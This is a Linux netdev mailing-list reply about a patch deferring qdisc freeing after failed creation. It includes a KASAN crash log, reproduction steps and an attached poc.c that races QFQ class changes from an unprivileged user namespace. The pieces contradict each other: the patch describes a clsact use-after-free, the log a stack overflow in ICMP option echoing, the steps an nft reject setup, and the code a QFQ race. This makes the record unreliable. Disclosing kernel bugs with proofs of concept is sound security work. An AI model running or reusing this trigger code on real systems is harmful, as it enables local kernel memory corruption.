Re: [PATCH net] net/sched: defer qdisc freeing after failed creation

David Lee <[email protected]>
Newsgroups org.kernel.vger.netdev,org.kernel.vger.linux-kernel
Message-ID <CAC_etQEByQLf5pMWzbyVfT3xtzereqEgu+XZYmwDjyvpRCzxjg@mail.gmail.com>
Hi Jamal,

I have attached the reproducer and satnizer logs here:

---
[  230.057740] ipip: IPv4 and MPLS over IPv4 tunneling driver
[  231.667279]
==================================================================
[  231.667738] BUG: KASAN: stack-out-of-bounds in
__ip_options_echo+0xdf7/0x1860
[  231.667738] Write of size 255 at addr ffffc9000029f008 by task
ksoftirqd/3/37
[  231.667738]
[  231.667738] CPU: 3 UID: 0 PID: 37 Comm: ksoftirqd/3 Not tainted
7.2.0-rc3-kasan #1 PREEMPT(lazy)
[  231.667738] Hardware name: QEMU Ubuntu 26.04 PC (i440FX + PIIX, 1996),
BIOS 1.17.0-debian-1.17.0-1ubuntu1 04/01/2014
[  231.667738] Call Trace:
[  231.667738]  <TASK>
[  231.667738]  dump_stack_lvl+0x5f/0x90
[  231.667738]  print_report+0x15b/0x4ec
[  231.667738]  ? __pfx__raw_spin_lock_irqsave+0x10/0x10
[  231.667738]  ? kasan_addr_to_slab+0xd/0x80
[  231.667738]  kasan_report+0xf2/0x130
[  231.667738]  ? __ip_options_echo+0xdf7/0x1860
[  231.667738]  ? __ip_options_echo+0xdf7/0x1860
[  231.667738]  kasan_check_range+0x13a/0x230
[  231.667738]  __asan_memcpy+0x3b/0x80
[  231.667738]  __ip_options_echo+0xdf7/0x1860
[  231.667738]  ? __pfx___ip_options_echo+0x10/0x10
[  231.667738]  __icmp_send+0x8c5/0x26e0
[  231.667738]  ? __pfx___icmp_send+0x10/0x10
[  231.667738]  ? sysvec_apic_timer_interrupt+0x54/0xd0
[  231.667738]  ? __pfx_nf_reject_fill_skb_dst+0x10/0x10 [nf_reject_ipv4]
[  231.667738]  ? _raw_spin_lock+0x82/0xf0
[  231.667738]  ? irqentry_exit+0x1cd/0x7b0
[  231.667738]  nf_send_unreach+0x303/0x810 [nf_reject_ipv4]
[  231.667738]  ? __pfx_nf_send_unreach+0x10/0x10 [nf_reject_ipv4]
[  231.667738]  nft_reject_inet_eval+0x4cd/0x8a0 [nft_reject_inet]
[  231.667738]  ? nft_do_chain+0x45a/0x1ae0 [nf_tables]
[  231.667738]  nft_do_chain+0x25a/0x1ae0 [nf_tables]
[  231.667738]  ? __pfx_tcp_v4_rcv+0x10/0x10
[  231.667738]  ? raw_local_deliver+0x3b9/0xc80
[  231.667738]  ? __pfx_nft_do_chain+0x10/0x10 [nf_tables]
[  231.667738]  ? update_stack_state+0x26e/0x6a0
[  231.667738]  ? fib_validate_source+0x455/0x770
[  231.667738]  ? update_stack_state+0x26e/0x6a0
[  231.667738]  nft_do_chain_inet_ingress+0x44f/0x1420 [nf_tables]
[  231.667738]  ? __pfx_nft_do_chain_inet_ingress+0x10/0x10 [nf_tables]
[  231.667738]  ? unwind_next_frame+0x18a/0xac0
[  231.667738]  nf_hook_slow+0xaa/0x1f0
[  231.667738]  __netif_receive_skb_core.constprop.0+0x19b6/0x31e0
[  231.667738]  ? __pfx_read_hpet+0x10/0x10
[  231.667738]  ? ret_from_fork_asm+0x1a/0x30
[  231.667738]  ? __pfx___netif_receive_skb_core.constprop.0+0x10/0x10
[  231.667738]  ? clockevents_program_event+0x2bd/0x750
[  231.667738]  ? run_ksoftirqd+0x3a/0x60
[  231.667738]  ? kasan_save_stack+0x4e/0x70
[  231.667738]  ? __kasan_check_write+0x14/0x30
[  231.667738]  ? _raw_spin_lock+0x82/0xf0
[  231.667738]  ? __hrtimer_rearm_deferred+0x18a/0x520
[  231.667738]  __netif_receive_skb_list_core+0x314/0xb10
[  231.667738]  ? sysvec_apic_timer_interrupt+0x54/0xd0
[  231.667738]  ? __pfx___netif_receive_skb_list_core+0x10/0x10
[  231.667738]  ? kasan_save_track+0x27/0x70
[  231.667738]  netif_receive_skb_list_internal+0x5eb/0xde0
[  231.667738]  ? __kasan_check_write+0x14/0x30
[  231.667738]  ? __pfx_netif_receive_skb_list_internal+0x10/0x10
[  231.667738]  ? __pfx_napi_complete_done+0x10/0x10
[  231.667738]  ? __pfx_dql_completed+0x10/0x10
[  231.667738]  ? __kasan_check_read+0x11/0x20
[  231.667738]  ? dev_gro_receive+0x20d/0x3060
[  231.667738]  napi_complete_done+0x1b6/0x830
[  231.667738]  ? pick_eevdf+0x19b/0x7e0
[  231.667738]  ? __pfx_napi_complete_done+0x10/0x10
[  231.667738]  ? gro_receive_skb+0x292/0xa90
[  231.667738]  gro_cell_poll+0x120/0x1f0
[  231.667738]  __napi_poll+0xa3/0x4c0
[  231.667738]  net_rx_action+0x4c1/0xfb0
[  231.667738]  ? __pfx_net_rx_action+0x10/0x10
[  231.667738]  ? finish_task_switch.isra.0+0x1f1/0xc10
[  231.667738]  ? __switch_to+0x8d7/0xd40
[  231.667738]  handle_softirqs+0x1ae/0x670
[  231.667738]  ? __pfx_handle_softirqs+0x10/0x10
[  231.667738]  run_ksoftirqd+0x3a/0x60
[  231.667738]  smpboot_thread_fn+0x29d/0x6e0
[  231.667738]  ? __pfx_smpboot_thread_fn+0x10/0x10
[  231.667738]  kthread+0x333/0x420
[  231.667738]  ? calculate_sigpending+0x78/0xb0
[  231.667738]  ? __pfx_kthread+0x10/0x10
[  231.667738]  ret_from_fork+0x426/0x7c0
[  231.667738]  ? __pfx_ret_from_fork+0x10/0x10
[  231.667738]  ? native_load_gs_index+0x3f/0x60
[  231.667738]  ? __switch_to+0x8d7/0xd40
[  231.667738]  ? __switch_to_asm+0x39/0x70
[  231.667738]  ? __pfx_kthread+0x10/0x10
[  231.667738]  ret_from_fork_asm+0x1a/0x30
[  231.667738]  </TASK>
[  231.667738]
[  231.667738] The buggy address belongs to stack of task ksoftirqd/3/37
[  231.667738]  and is located at offset 376 in frame:
[  231.667738]  __icmp_send+0x0/0x26e0
[  231.667738]
[  231.667738] This frame has 7 objects:
[  231.667738]  [32, 33) 'apply_ratelimit'
[  231.667738]  [48, 49) '_inner_type'
[  231.667738]  [64, 68) 'data'
[  231.667738]  [80, 88) 'rt'
[  231.667738]  [112, 168) 'ipc'
[  231.667738]  [208, 264) 'fl4'
[  231.667738]  [304, 416) 'icmp_param_u'
[  231.667738]
[  231.667738] The buggy address belongs to a vmalloc virtual mapping
[  231.667738] The buggy address belongs to the physical page:
[  231.667738] page: refcount:1 mapcount:0 mapping:0000000000000000
index:0x0 pfn:0x100c1f
[  231.667738] flags: 0x17ffffc0000000(node=0|zone=2|lastcpupid=0x1fffff)
[  231.667738] raw: 0017ffffc0000000 ffffea00040307c8 ffffea00040307c8
0000000000000000
[  231.667738] raw: 0000000000000000 0000000000000000 00000001ffffffff
0000000000000000
[  231.667738] page dumped because: kasan: bad access detected
[  231.667738]
[  231.667738] Memory state around the buggy address:
[  231.667738]  ffffc9000029ef00: 00 00 00 00 00 00 00 f2 f2 f2 f2 f2 00 00
00 00
[  231.667738]  ffffc9000029ef80: 00 00 00 f2 f2 f2 f2 f2 00 00 00 00 00 00
00 00
[  231.667738] >ffffc9000029f000: 00 00 00 00 00 00 f3 f3 f3 f3 00 00 00 00
00 00
[  231.667738]                                      ^
[  231.667738]  ffffc9000029f080: 00 00 00 00 00 00 00 00 00 00 f1 f1 f1 f1
00 f3
[  231.667738]  ffffc9000029f100: f3 f3 00 00 00 00 00 00 00 00 00 00 00 00
00 00
[  231.667738]
==================================================================
[  231.746888] Disabling lock debugging due to kernel taint
---
======== Affected Versions =======
Confirmed Version:
* 6f5156d7a31a8c3b0f34af4675c9299c8f877cbe (post-v7.2-rc3)
Required Configs for the Vulnerability:
* CONFIG_INET
* CONFIG_NETFILTER
* CONFIG_NETFILTER_INGRESS
* CONFIG_NF_TABLES
* CONFIG_NF_TABLES_INET
* CONFIG_NFT_REJECT
* CONFIG_NFT_REJECT_INET
* CONFIG_NF_REJECT_IPV4

Additional Configs for the Proof of Concept:
* CONFIG_NET_IPIP
* CONFIG_VETH
* CONFIG_PACKET
* CONFIG_USER_NS
* CONFIG_NET_NS

========== Reproduction ==========
Step 1: Build kernel commit
`6f5156d7a31a8c3b0f34af4675c9299c8f877cbe` with KASAN and the
configuration options listed above.

Step 2: Build the attached `poc.c`:

~
gcc -static -O2 -Wall -Wextra -o poc poc.c
~

Step 3: Ensure the `nft_reject_inet`, `nf_reject_ipv4`, `ipip`, and
`veth` modules are available or built into the kernel. Run `./poc` as
an ordinary local user on a system that permits unprivileged user
namespaces. The `ip` utility must be installed.

The program creates its own user and network namespace, configures a
veth pair and IPIP device, installs an inet-ingress ICMPX reject rule,
and transmits the triggering packet. KASAN reports the
stack-out-of-bounds write.

Best regards,
David


On Wed, Aug 5, 2026 at 2:01 PM Jamal Hadi Salim <[email protected]> wrote:

> On Wed, Aug 5, 2026 at 6:25 AM David Lee <[email protected]>
> wrote:
> >
> > From: Kyle Zeng <[email protected]>
> >
> > A qdisc's init callback can publish state to RCU readers before
> > qdisc_create() completes. In particular, clsact_init() binds a populated
> > shared ingress block and installs an embedded mini_Qdisc in
> > dev->tcx_ingress. If subsequent rate estimator setup fails, the unwind
> > removes that pointer but qdisc_free() immediately releases the qdisc and
> > its per-CPU statistics. A reader that obtained the miniq before removal
> > can then access freed memory.
> >
> > Add qdisc_free_rcu() and use it for the creation error path, matching
> > normal qdisc destruction. This keeps the embedded miniq and the per-CPU
> > statistics alive until pre-existing readers complete.
> >
> > Fixes: 51ab2994c387 ("net: sched: allow ingress and clsact qdiscs to
> share filter blocks")
> > Assisted-by: Codex:gpt-5.6-sol Codex:gpt-5.5-cyber
> > Signed-off-by: Kyle Zeng <[email protected]>
> > Signed-off-by: David Lee <[email protected]>
>
> Thanks for finding the issue. But you should know the deal by now,
> send the poc - you can send it in private. Same goes for your other
> patch.
>
> cheers,
> jamal
>
> > ---
> > Bug found and triaged by OpenAI Security Research and
> > validated by Trail of Bits.
> >
> > Trail of Bits has a reproducer for this bug that triggers a
> > KASAN use-after-free and can share if needed.
> >
> >  include/net/sch_generic.h | 1 +
> >  net/sched/sch_api.c       | 2 +-
> >  net/sched/sch_generic.c   | 7 ++++++-
> >  3 files changed, 8 insertions(+), 2 deletions(-)
> >
> > diff --git a/include/net/sch_generic.h b/include/net/sch_generic.h
> > index 45a1e8c782..d45442c926 100644
> > --- a/include/net/sch_generic.h
> > +++ b/include/net/sch_generic.h
> > @@ -793,6 +793,7 @@ struct Qdisc *qdisc_alloc(struct netdev_queue
> *dev_queue,
> >                           const struct Qdisc_ops *ops,
> >                           struct netlink_ext_ack *extack);
> >  void qdisc_free(struct Qdisc *qdisc);
> > +void qdisc_free_rcu(struct Qdisc *qdisc);
> >  struct Qdisc *qdisc_create_dflt(struct netdev_queue *dev_queue,
> >                                 const struct Qdisc_ops *ops, u32
> parentid,
> >                                 struct netlink_ext_ack *extack);
> > diff --git a/net/sched/sch_api.c b/net/sched/sch_api.c
> > index 668bcd60d1..041bd60072 100644
> > --- a/net/sched/sch_api.c
> > +++ b/net/sched/sch_api.c
> > @@ -1373,7 +1373,7 @@ static struct Qdisc *qdisc_create(struct
> net_device *dev,
> >  err_out3:
> >         qdisc_lock_uninit(sch, ops);
> >         netdev_put(dev, &sch->dev_tracker);
> > -       qdisc_free(sch);
> > +       qdisc_free_rcu(sch);
> >  err_out2:
> >         bpf_module_put(ops, ops->owner);
> >  err_out:
> > diff --git a/net/sched/sch_generic.c b/net/sched/sch_generic.c
> > index ef2b4bf515..86d551fbab 100644
> > --- a/net/sched/sch_generic.c
> > +++ b/net/sched/sch_generic.c
> > @@ -1103,6 +1103,11 @@ static void qdisc_free_cb(struct rcu_head *head)
> >         qdisc_free(q);
> >  }
> >
> > +void qdisc_free_rcu(struct Qdisc *qdisc)
> > +{
> > +       call_rcu(&qdisc->rcu, qdisc_free_cb);
> > +}
> > +
> >  static void __qdisc_destroy(struct Qdisc *qdisc)
> >  {
> >         const struct Qdisc_ops  *ops = qdisc->ops;
> > @@ -1127,7 +1132,7 @@ static void __qdisc_destroy(struct Qdisc *qdisc)
> >
> >         trace_qdisc_destroy(qdisc);
> >
> > -       call_rcu(&qdisc->rcu, qdisc_free_cb);
> > +       qdisc_free_rcu(qdisc);
> >  }
> >
> >  void qdisc_destroy(struct Qdisc *qdisc)
> > --
> > 2.53.0
>
poc.c (application/octet-stream, 8.2 KB)
#define _GNU_SOURCE

#include <arpa/inet.h>
#include <errno.h>
#include <linux/gen_stats.h>
#include <linux/netlink.h>
#include <linux/pkt_sched.h>
#include <linux/rtnetlink.h>
#include <net/if.h>
#include <pthread.h>
#include <sched.h>
#include <stdarg.h>
#include <stdatomic.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>

#define QDISC_HANDLE 0x10000U
#define CLASS_HANDLE 0x10001U
#define TARGET_LMAX 1500U
#define UDP_PAYLOAD_LEN 1458
#define ITERATIONS 50000U
#define MAX_DELAY 4096U

struct nl_req {
	char buf[4096];
	struct nlmsghdr *nlh;
};

struct race_ctx {
	atomic_uint go;
	atomic_uint done;
	int sender;
	int receiver;
	char packet[UDP_PAYLOAD_LEN];
};

static uint32_t nl_seq;

static void die(const char *fmt, ...)
{
	va_list ap;

	va_start(ap, fmt);
	vfprintf(stderr, fmt, ap);
	va_end(ap);
	fprintf(stderr, ": %s\n", strerror(errno));
	exit(1);
}

static void expect_ok(int ret, const char *what)
{
	if (ret < 0) {
		errno = -ret;
		die("%s", what);
	}
}

static void init_req(struct nl_req *req, uint16_t type, uint16_t flags,
		     size_t payload_len)
{
	memset(req, 0, sizeof(*req));
	req->nlh = (struct nlmsghdr *)req->buf;
	req->nlh->nlmsg_len = NLMSG_LENGTH(payload_len);
	req->nlh->nlmsg_type = type;
	req->nlh->nlmsg_flags = flags;
}

static void addattr(struct nl_req *req, uint16_t type, const void *data,
		    size_t len)
{
	size_t offset = NLMSG_ALIGN(req->nlh->nlmsg_len);
	size_t attr_len = RTA_LENGTH(len);
	struct rtattr *rta;

	if (offset + RTA_ALIGN(attr_len) > sizeof(req->buf)) {
		errno = E2BIG;
		die("netlink attribute overflow");
	}

	rta = (struct rtattr *)(req->buf + offset);
	rta->rta_type = type;
	rta->rta_len = attr_len;
	memcpy(RTA_DATA(rta), data, len);
	req->nlh->nlmsg_len = offset + RTA_ALIGN(attr_len);
}

static struct rtattr *nest_start(struct nl_req *req, uint16_t type)
{
	size_t offset = NLMSG_ALIGN(req->nlh->nlmsg_len);
	struct rtattr *rta;

	if (offset + RTA_ALIGN(RTA_LENGTH(0)) > sizeof(req->buf)) {
		errno = E2BIG;
		die("netlink nest overflow");
	}

	rta = (struct rtattr *)(req->buf + offset);
	rta->rta_type = type;
	rta->rta_len = RTA_LENGTH(0);
	req->nlh->nlmsg_len = offset + RTA_ALIGN(rta->rta_len);
	return rta;
}

static void nest_end(struct nl_req *req, struct rtattr *rta)
{
	rta->rta_len = (char *)req->buf + req->nlh->nlmsg_len - (char *)rta;
}

static int nl_open(void)
{
	struct sockaddr_nl addr = {
		.nl_family = AF_NETLINK,
	};
	int fd;

	fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
	if (fd < 0)
		die("socket NETLINK_ROUTE");
	if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
		die("bind NETLINK_ROUTE");
	return fd;
}

static int nl_talk(int fd, struct nl_req *req)
{
	struct sockaddr_nl nladdr = {
		.nl_family = AF_NETLINK,
	};
	char buf[8192];
	struct iovec iov;
	struct msghdr msg;
	ssize_t n;

	req->nlh->nlmsg_seq = ++nl_seq;
	iov.iov_base = req->nlh;
	iov.iov_len = req->nlh->nlmsg_len;
	memset(&msg, 0, sizeof(msg));
	msg.msg_name = &nladdr;
	msg.msg_namelen = sizeof(nladdr);
	msg.msg_iov = &iov;
	msg.msg_iovlen = 1;
	if (sendmsg(fd, &msg, 0) < 0)
		return -errno;

	for (;;) {
		struct nlmsghdr *nlh;
		int rem;

		n = recv(fd, buf, sizeof(buf), 0);
		if (n < 0)
			return -errno;
		for (nlh = (struct nlmsghdr *)buf, rem = (int)n;
		     NLMSG_OK(nlh, rem); nlh = NLMSG_NEXT(nlh, rem)) {
			struct nlmsgerr *err;

			if (nlh->nlmsg_seq != req->nlh->nlmsg_seq)
				continue;
			if (nlh->nlmsg_type != NLMSG_ERROR)
				continue;
			err = (struct nlmsgerr *)NLMSG_DATA(nlh);
			return err->error;
		}
	}
}

static int qdisc_add(int fd, int ifindex)
{
	struct nl_req req;
	struct tcmsg *tcm;
	const char kind[] = "qfq";

	init_req(&req, RTM_NEWQDISC,
		 NLM_F_REQUEST | NLM_F_ACK | NLM_F_CREATE | NLM_F_EXCL,
		 sizeof(*tcm));
	tcm = NLMSG_DATA(req.nlh);
	tcm->tcm_family = AF_UNSPEC;
	tcm->tcm_ifindex = ifindex;
	tcm->tcm_handle = QDISC_HANDLE;
	tcm->tcm_parent = TC_H_ROOT;
	addattr(&req, TCA_KIND, kind, sizeof(kind));
	return nl_talk(fd, &req);
}

static int class_change(int fd, int ifindex, uint32_t lmax, bool create,
			bool add_rate)
{
	struct nl_req req;
	struct tcmsg *tcm;
	struct rtattr *opts;
	struct gnet_estimator est = {
		.interval = -2,
		.ewma_log = 1,
	};
	uint32_t weight = 1;
	uint16_t flags = NLM_F_REQUEST | NLM_F_ACK;

	if (create)
		flags |= NLM_F_CREATE | NLM_F_EXCL;
	init_req(&req, RTM_NEWTCLASS, flags, sizeof(*tcm));
	tcm = NLMSG_DATA(req.nlh);
	tcm->tcm_family = AF_UNSPEC;
	tcm->tcm_ifindex = ifindex;
	tcm->tcm_handle = CLASS_HANDLE;
	tcm->tcm_parent = QDISC_HANDLE;
	opts = nest_start(&req, TCA_OPTIONS);
	addattr(&req, TCA_QFQ_WEIGHT, &weight, sizeof(weight));
	addattr(&req, TCA_QFQ_LMAX, &lmax, sizeof(lmax));
	nest_end(&req, opts);
	if (add_rate)
		addattr(&req, TCA_RATE, &est, sizeof(est));
	return nl_talk(fd, &req);
}

static void setup_namespace(void)
{
	if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0)
		die("unshare");
}

static int setup_loopback(void)
{
	struct ifreq ifr;
	int fd;
	int ifindex;

	fd = socket(AF_INET, SOCK_DGRAM, 0);
	if (fd < 0)
		die("socket AF_INET");
	memset(&ifr, 0, sizeof(ifr));
	strncpy(ifr.ifr_name, "lo", IFNAMSIZ - 1);
	if (ioctl(fd, SIOCGIFFLAGS, &ifr) < 0)
		die("SIOCGIFFLAGS");
	ifr.ifr_flags |= IFF_UP;
	if (ioctl(fd, SIOCSIFFLAGS, &ifr) < 0)
		die("SIOCSIFFLAGS");
	close(fd);

	ifindex = if_nametoindex("lo");
	if (ifindex == 0)
		die("if_nametoindex");
	return ifindex;
}

static int setup_udp(int *receiver)
{
	struct sockaddr_in addr = {
		.sin_family = AF_INET,
		.sin_addr.s_addr = htonl(INADDR_LOOPBACK),
		.sin_port = 0,
	};
	socklen_t addrlen = sizeof(addr);
	int sender;
	int priority = CLASS_HANDLE;

	*receiver = socket(AF_INET, SOCK_DGRAM, 0);
	if (*receiver < 0)
		die("receiver socket");
	if (bind(*receiver, (struct sockaddr *)&addr, sizeof(addr)) < 0)
		die("receiver bind");
	if (getsockname(*receiver, (struct sockaddr *)&addr, &addrlen) < 0)
		die("receiver getsockname");

	sender = socket(AF_INET, SOCK_DGRAM, 0);
	if (sender < 0)
		die("sender socket");
	if (setsockopt(sender, SOL_SOCKET, SO_PRIORITY, &priority,
		       sizeof(priority)) < 0)
		die("SO_PRIORITY");
	if (connect(sender, (struct sockaddr *)&addr, sizeof(addr)) < 0)
		die("sender connect");
	return sender;
}

static void pin_cpu(int cpu)
{
	cpu_set_t set;

	CPU_ZERO(&set);
	CPU_SET(cpu, &set);
	if (sched_setaffinity(0, sizeof(set), &set) < 0)
		die("sched_setaffinity");
}

static void spin_delay(unsigned int count)
{
	while (count--)
		asm volatile("pause" ::: "memory");
}

static void *sender_thread(void *arg)
{
	struct race_ctx *ctx = arg;
	unsigned int i;

	pin_cpu(1);
	for (i = 1; i <= ITERATIONS; i++) {
		char drain[2048];

		while (atomic_load_explicit(&ctx->go, memory_order_acquire) != i)
			asm volatile("pause" ::: "memory");
		spin_delay(i % MAX_DELAY);
		if (send(ctx->sender, ctx->packet, sizeof(ctx->packet), 0) < 0)
			die("send");
		while (recv(ctx->receiver, drain, sizeof(drain), MSG_DONTWAIT) > 0)
			;
		atomic_store_explicit(&ctx->done, i, memory_order_release);
	}
	return NULL;
}

int main(void)
{
	struct race_ctx ctx;
	pthread_t thread;
	int nl;
	int ifindex;
	int ret;
	int thread_ret;
	unsigned int i;

	memset(&ctx, 0, sizeof(ctx));
	memset(ctx.packet, 'A', sizeof(ctx.packet));
	setup_namespace();
	ifindex = setup_loopback();
	nl = nl_open();
	expect_ok(qdisc_add(nl, ifindex), "add qfq qdisc");
	expect_ok(class_change(nl, ifindex, 512, true, false),
		  "create qfq class");
	ctx.sender = setup_udp(&ctx.receiver);

	pin_cpu(0);
	thread_ret = pthread_create(&thread, NULL, sender_thread, &ctx);
	if (thread_ret != 0) {
		errno = thread_ret;
		die("pthread_create");
	}

	/*
	 * The estimator attribute makes the post-snapshot part of
	 * qfq_change_class() long enough for the packet enqueue on CPU 1 to
	 * migrate the class to the requested (weight=1, lmax=1500) aggregate.
	 */
	for (i = 1; i <= ITERATIONS; i++) {
		expect_ok(class_change(nl, ifindex, 512, false, false),
			  "reset qfq class");
		atomic_store_explicit(&ctx.go, i, memory_order_release);
		ret = class_change(nl, ifindex, TARGET_LMAX, false, true);
		expect_ok(ret, "change qfq class");
		while (atomic_load_explicit(&ctx.done, memory_order_acquire) != i)
			asm volatile("pause" ::: "memory");
	}

	pthread_join(thread, NULL);
	close(ctx.sender);
	close(ctx.receiver);
	close(nl);
	return 0;
}
lmpx.com only provides a reader for public news (NNTP) servers. It is not affiliated with the servers or forums shown here and is not responsible for the content of articles, which is written by their respective authors.